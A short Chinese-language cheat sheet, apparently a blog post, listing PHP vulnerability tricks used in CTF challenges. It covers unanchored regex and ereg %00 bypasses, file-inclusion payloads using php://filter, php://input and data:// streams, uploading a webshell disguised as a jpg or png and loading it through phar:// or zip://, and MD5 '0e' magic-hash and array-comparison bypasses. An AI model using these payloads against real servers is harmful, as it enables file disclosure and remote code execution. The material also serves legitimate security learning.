PHP函数漏洞集

### 正则表达式 preg_match 如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题 ``` $ip = '1.1.1.1 abcd'; // 可以绕过 if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) { die('error'); } else { // echo('key...') } ``` ereg %00 截断 ereg 读到 %00 的时候,就截止了 ``` ``` a=abcd%001234,可以绕过 `ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE` 字符串对比解析 在这里如果 $_GET[‘password’]为数组,则返回值为NULL 如果为123 || asd || 12as || 123%00&&&**,则返回值为true 其余为false ### 字符串比较 ``` ``` ### 文件包含 ``` http://127.0.0.1/index.php?page=upload 这种 url 很容易就能想到可能是文件包含或者伪协议读取 http://127.0.0.1/index.php?page=php://filter/read=convert.base64-encode/resource=upload ``` ### 伪协议 #### php://filter 读取文件 ``` index.php?file=php://filter/convert.base64-encode/resource=flag.php index.php?file=php://filter/read=convert.base64-encode/resource=flag.php ``` #### php://input 写入文件, 数据利用 POST 传过去 ``` index.php?file=php://input ``` ### data:// 将 include 的文件流重定向到用户控制的输入流 `test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw==` 可以用于控制 file_get_contents 的内容为用户输入的流 ``` $file=$_GET['file']; $data = @file_get_contents($a,'r'); echo $data; ``` #### phar:// 发现有一个文件上传功能,无法绕过,仅能上传jpg后缀的文件。与此同时,无法进行文件包含截断。allow_url_include=on 的状态下,就可以考虑phar伪协议绕过。 写一个shell.php文件,里面包含一句话木马。然后,压缩成xxx.zip。然后改名为xxx.jpg进行上传。最后使用phar进行包含 这里的路径为上传的 jpg 文件在服务器的路径 `/index.php?id=phar://路径/xxx.jpg/shell` #### zip:// 上述 phar:// 的方法也可以使用 zip:// 然后吧1.php文件压缩成zip,再把zip的后缀改为png,上传上去,并且可以获得上传上去的png的地址。 1.zip文件内仅有1.php这个文件 ``` /php?file=zip://1.png%231.php // 也可以尝试不改名为png,直接使用zip上传测试一下 /php?file=zip://1.zip%231.php ``` ### MD5 compare漏洞 PHP在处理哈希字符串时,如果利用”!=”或”==”来对哈希值进行比较,它把每一个以”0x”开头的哈希值都解释为科学计数法0的多少次方(为0),所以如果两个不同的密码经过哈希以后,其哈希值都是以”0e”开头的,那么php将会认为他们相同。 常见的payload有 ``` 0x01 md5(str) QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a 0x02 sha1(str) sha1('aaroZmOk') sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m') ``` 同时MD5不能处理数组,若有以下判断则可用数组绕过 ``` if(@md5($_GET['a']) == @md5($_GET['b'])) { echo "yes"; } //http://127.0.0.1/1.php?a[]=1&b[]=2 ``` [变量覆盖](https://blog.csdn.net/hitwangpeng/article/details/45972099)

你可能感兴趣的:(PHP函数漏洞集)